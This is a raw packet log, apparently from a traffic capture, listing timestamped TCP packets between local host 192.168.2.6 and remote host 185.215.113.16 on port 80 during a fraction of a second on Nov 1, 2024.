Nov 1, 2024 03:46:24.220622063 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.220670938 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.220680952 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.220782042 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.220809937 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.220822096 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.220865965 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.220980883 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.221025944 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.221054077 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.221097946 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.221183062 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.221194029 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.221204996 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.221221924 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.221226931 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.221260071 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.221486092 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.221570015 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.221580982 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.221592903 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.221620083 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.221642017 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.221815109 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.221826077 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.221842051 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.221852064 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.221863985 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.221873045 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.221904039 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.222258091 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.222336054 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.222346067 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.222387075 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.222485065 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.222496033 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.222506046 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.222518921 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.222527981 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.222529888 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.222541094 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.222544909 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.222553015 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.222563982 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.222580910 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.222595930 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.255043983 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.255064964 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.255074978 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.255171061 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.255212069 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.255224943 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.255259037 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.255295992 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.255378008 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.255390882 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.255440950 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.255542994 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.255590916 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.255691051 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.255703926 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.255714893 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.255726099 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.255736113 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.255760908 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.255793095 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.256009102 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.256019115 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.256058931 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.256155014 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.256165981 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.256203890 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.256290913 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.256300926 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.256311893 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.256323099 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.256333113 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.256334066 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.256370068 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.256395102 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.256709099 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.256721020 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.256768942 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.256939888 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.256953001 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.256963015 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.256974936 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.256984949 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.256988049 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.257018089 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.257054090 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.257499933 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.257513046 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.257523060 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.257535934 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.257546902 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.257558107 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.257560968 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.257570982 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.257586956 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.257591009 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.257612944 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.257622957 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.258265018 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.258277893 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.258294106 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.258305073 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.258315086 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.258317947 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.258327961 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.258359909 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.258687973 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.258699894 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.258709908 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.258730888 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.258744001 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.258773088 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.258773088 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.258786917 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.258800030 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.258811951 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.258821011 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.258822918 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.258832932 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.258836031 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.258865118 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.258877993 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.259675026 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.259687901 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.259697914 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.259710073 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.259721041 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.259731054 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.259732008 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.259758949 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.259776115 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.292157888 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.292188883 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.292229891 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.292262077 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.292289972 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.292324066 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.296314001 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.339651108 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.339716911 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.339726925 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.339730978 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.339756012 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.339781046 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.339943886 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.339956045 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.340003967 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.340085983 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.340153933 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.340166092 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.340177059 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.340189934 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.340203047 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.340221882 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.340675116 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.340684891 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.340694904 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.340706110 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.340717077 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.340718031 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.340737104 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.340751886 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.341049910 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.341062069 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.341074944 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.341085911 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.341098070 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.341100931 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.341130018 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.341140985 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.341568947 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.341581106 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.341592073 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.341603041 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.341614962 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.341622114 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.341626883 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.341639042 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.341650963 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.341667891 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.342144966 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.342155933 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.342195034 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.373775959 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.373842955 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.373855114 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.373949051 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.373964071 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.373975992 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.374016047 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.374090910 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.374125957 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.374167919 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.374180079 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.374190092 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.374202967 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.374212027 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.374227047 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.374247074 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.374448061 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.374459982 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.374509096 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.374586105 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.374633074 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.374633074 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.374644995 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.374670982 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.374685049 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.374856949 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.374870062 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.374880075 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.374912024 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.374934912 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.375089884 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.375102043 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.375112057 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.375118017 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.375164032 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.375329018 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.375370026 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.375375032 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.375384092 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.375405073 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.375427961 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.375603914 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.375616074 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.375654936 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.375744104 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.375790119 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.375814915 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.375833035 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.375844955 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.375854015 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.375857115 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.375874043 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.375885963 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.376280069 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.376291990 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.376302004 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.376312971 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.376323938 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.376334906 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.376334906 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.376347065 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.376348019 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.376354933 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.376364946 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.376369953 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.376377106 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.376396894 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.376424074 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.377090931 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.377099991 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.377110004 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.377123117 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.377132893 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.377135038 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.377146959 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.377156019 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.377159119 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.377166033 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.377171993 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.377182961 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.377192974 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.377193928 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.377223969 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.377753973 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.377765894 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.377775908 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.377788067 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.377799034 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.377804041 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.377820969 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.377849102 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.413116932 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.413156986 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.413167953 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.413244963 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.413427114 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.459297895 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.459376097 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.459389925 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.459481001 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.459618092 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.459630013 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.459640026 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.459875107 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.459974051 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.459985971 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.459995985 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.460007906 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.460020065 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.460031986 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.460032940 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.460067987 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.460088968 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.460751057 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.460762978 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.460772991 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.460783958 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.460794926 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.460803032 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.460808039 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.460838079 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.460851908 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.461720943 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.461734056 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.461744070 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.461755991 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.461767912 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.461779118 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.461791039 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.461791039 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.461805105 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.461824894 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.461847067 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.492412090 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.492435932 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.492461920 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.492492914 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.492521048 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.492539883 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.492609024 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.492652893 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.492681026 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.492691040 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.492754936 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.492798090 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.492810011 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.492821932 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.492845058 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.492866993 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.493004084 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.493067026 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.493077040 CET	80	58527	185.215.113.16	192.168.2.6
